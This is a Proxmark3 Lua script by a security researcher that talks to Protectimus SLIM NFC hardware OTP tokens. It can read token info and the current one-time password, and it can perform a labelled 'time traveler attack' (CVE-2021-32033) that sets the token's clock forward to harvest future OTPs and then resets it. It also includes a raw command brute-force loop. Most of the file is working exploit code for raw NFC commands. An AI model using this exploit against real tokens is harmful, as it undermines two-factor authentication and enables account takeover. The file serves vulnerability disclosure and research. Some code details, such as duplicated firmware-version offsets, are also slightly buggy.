proxmark3/client/luascripts/hf_14a_protectimus_nfc.lua
2021-06-17 13:44:14 +03:00

427 lines
13 KiB
Lua

local cmds = require('commands')
local getopt = require('getopt')
local lib14a = require('read14a')
local utils = require('utils')
local ansicolors = require('ansicolors')
copyright = '(c) 2021 SySS GmbH'
author = 'Matthias Deeg'
version = 'v0.8'
desc = [[
This script can perform different operations on a Protectimus SLIM NFC
hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033)
]]
example = [[
-- default
script run hf_14a_protectimus_nfc
]]
usage = [[
script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00]
]]
arguments = [[
-h This help
-i Read token info (e.g. firmware version, OTP interval)
-r Read the current one-time password (OTP)
-t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO)
e.g. 2029-01-01T13:37:00+01:00
]]
-- Some globals
local DEBUG = false -- the debug flag
-- Defined operations
local READ_OTP = 1 -- read the one-time password
local READ_INFO = 2 -- read the NFC token info
local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack
-- A debug printout function
local function dbg(args)
if not DEBUG then return end
if type(args) == 'table' then
local i = 1
while args[i] do
dbg(args[i])
i = i + 1
end
else
print('###', args)
end
end
-- This is only meant to be used when errors occur
local function oops(err)
print('ERROR:', err)
core.clearCommandBuffer()
return nil, err
end
-- Usage help
local function help()
print(copyright)
print(author)
print(version)
print(desc)
print(ansicolors.cyan .. 'Usage' .. ansicolors.reset)
print(usage)
print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset)
print(arguments)
print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset)
print(example)
end
-- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO)
function getUnixTime(datetime)
-- get time delta regarding Coordinated Universal Time (UTC)
local now_local = os.time()
local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local)))
local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600)
-- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS"
local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)"
local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern)
if new_year == nil or new_month == nil or new_day == nil or
new_hour == nil or new_minute == nil or new_seconds == nil or
new_hour_offset == nil or new_minute_offset == nil then
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" ..
" Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" ..
" e.g. 2029-01-01T13:37:00+01:00")
return nil
end
-- get the requested datetime as Unix time (UTC)
local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset,
min = new_minute + minute_offset - new_minute_offset, sec = new_seconds})
return epoch
end
-- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command
function sendRaw(rawdata, options)
-- send raw
local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT
+ lib14a.ISO14A_COMMAND.ISO14A_RAW
+ lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC
local command = Command:newMIX{
cmd = cmds.CMD_HF_ISO14443A_READER,
-- arg1 is the defined flags for sending "raw" ISO 14443A package
arg1 = flags,
-- arg2 contains the length, which is half the length of the ASCII
-- string data
arg2 = string.len(rawdata) / 2,
data = rawdata
}
return command:sendMIX(options.ignore_response)
end
-- Read the current one-time password (OTP)
function readOTP(show_output)
-- read OTP command
local cmd = "028603420042"
local otp_value = ''
if show_output then
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)")
end
-- send the raw command
res, err = sendRaw(cmd , {ignore_response = ignore_response})
if err then
lib14a.disconnect()
return oops(err)
end
-- parse the response
local cmd_response = Command.parse(res)
local len = tonumber(cmd_response.arg1) * 2
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
-- check the response
if len == 0 then
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
return nil
end
if data:sub(0, 8) == "02AA0842" then
-- extract the binary-coded decimal (BCD) OTP value from the response
for i = 10, #data - 2, 2 do
local c = data:sub(i, i)
otp_value = otp_value .. c
end
-- show the output if requested
if show_output then
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset)
end
else
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
otp_value = nil
end
return otp_value
end
-- Read token info
function readInfo(show_output)
-- read info command
local cmd = "0286021010"
if show_output then
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info")
end
-- send the raw command
res, err = sendRaw(cmd , {ignore_response = ignore_response})
if err then
lib14a.disconnect()
return oops(err)
end
-- parse the response
local cmd_response = Command.parse(res)
local len = tonumber(cmd_response.arg1) * 2
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
-- check the response
if len == 0 then
print("[-] Error: Could not read the token info")
return nil
end
if data:sub(0, 8) == "02AA0B10" then
-- extract the token info from the response
local hardware_schema = tonumber(data:sub(11, 12))
local firmware_version_major = tonumber(data:sub(13, 14))
local firmware_version_minor = tonumber(data:sub(13, 14))
local hardware_rtc = tonumber(data:sub(19, 20))
local otp_interval = tonumber(data:sub(23, 24))
local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" ..
" Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" ..
" Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" ..
" Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" ..
" OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset
-- check hardware real-time clock (RTC)
if hardware_rtc == 1 then
hardware_rtc = true
else
hardware_rtc = false
end
-- check one-time password interval
if otp_interval == 0 then
otp_interval = '30'
elseif otp_interval == 10 then
otp_interval = '60'
else
otp_interval = 'unknown'
end
if show_output then
-- show the token info
print(string.format(info, hardware_schema, firmware_version_major,
firmware_version_minor, hardware_rtc,
otp_interval))
end
return otp_interval
else
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info")
otp_value = nil
end
return info
end
-- Bruteforce commands
function bruteforceCommands()
-- read OTP command
local cmd = ''
if show_output then
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands")
end
for n = 0, 255 do
cmd = string.format("028602%d%d", n)
print(string.format("[+] Send command %s", cmd))
-- send the raw command
res, err = sendRaw(cmd , {ignore_response = ignore_response})
if err then
lib14a.disconnect()
return oops(err)
end
-- parse the response
local cmd_response = Command.parse(res)
local len = tonumber(cmd_response.arg1) * 2
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
-- check the response
if len == 0 then
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response")
else
print(data)
end
io.read(1)
end
end
-- Set an arbitrary Unix time (epoch)
function setTime(time, otp_interval)
-- calculate the two required time variables
local time_var1 = math.floor(time / otp_interval)
local time_var2 = math.floor(time % otp_interval)
-- build the raw command data
local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2)
-- calculate XOR checksum on data
local checksum = 0
for i = 1, #data, 2 do
local c = data:sub(i, i + 1)
checksum = bit32.bxor(checksum , tonumber(c, 16))
end
-- build the complete raw command
local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum)
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time))
-- send raw command
res, err = sendRaw(cmd , {ignore_response = ignore_response})
if err then
lib14a.disconnect()
return oops(err)
end
-- parse the response
local cmd_response = Command.parse(res)
local len = tonumber(cmd_response.arg1) * 2
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
end
-- Set the current time
function setCurrentTime(otp_interval)
-- get the current Unix time (epoch)
local current_time = os.time(os.date("*t"))
setTime(current_time, otp_interval)
end
-- Perform a time travel attack for generating a future OTP
function timeTravelAttack(datetime_string, otp_interval)
if nil == datetime_string then
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given")
return nil
end
-- get the future time as Unix time
local future_time = getUnixTime(datetime_string)
if nil == future_time then
return
end
-- set the future time
setTime(future_time, otp_interval)
print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press <ENTER>")
-- while loop do
io.read(1)
-- read the OTP
local otp = readOTP(false)
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " ..
ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " ..
ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp))
-- reset the current time
setCurrentTime(otp_interval)
end
-- Show a fancy banner
function banner()
print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" ..
"Perform different operations on a Protectimus SLIM NFC hardware token", version))
end
-- The main entry point
function main(args)
local ignore_response = false
local no_rats = false
local operation = READ_OTP
local target_time = nil
-- show a fancy banner
banner()
-- read the parameters
for o, a in getopt.getopt(args, 'hirt:b') do
if o == 'h' then return help() end
if o == 'i' then operation = READ_INFO end
if o == 'r' then operation = READ_OTP end
if o == 't' then
operation = TIME_TRAVELER_ATTACK
target_time = a
end
if o == 'b' then bruteforceCommands() end
end
-- connect to the TOTP hardware token
info, err = lib14a.read(true, no_rats)
if err then
lib14a.disconnect()
return oops(err)
end
-- show tag info
print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid))
-- perform the requested operation
if operation == READ_OTP then
readOTP(true)
elseif operation == READ_INFO then
readInfo(true)
elseif operation == TIME_TRAVELER_ATTACK then
-- read token info and get OTP interval
local otp_interval = readInfo(false)
if nil == otp_interval then
return
end
-- perform time traveler attack
timeTravelAttack(target_time, otp_interval)
end
-- disconnect
lib14a.disconnect()
end
-------------------------
-- Testing
-------------------------
function selftest()
DEBUG = true
dbg('Performing test')
main()
dbg('Tests done')
end
-- Flip the switch here to perform a sanity check.
-- It read a nonce in two different ways, as specified in the usage-section
if '--test' == args then
selftest()
else
-- Call the main
main(args)
end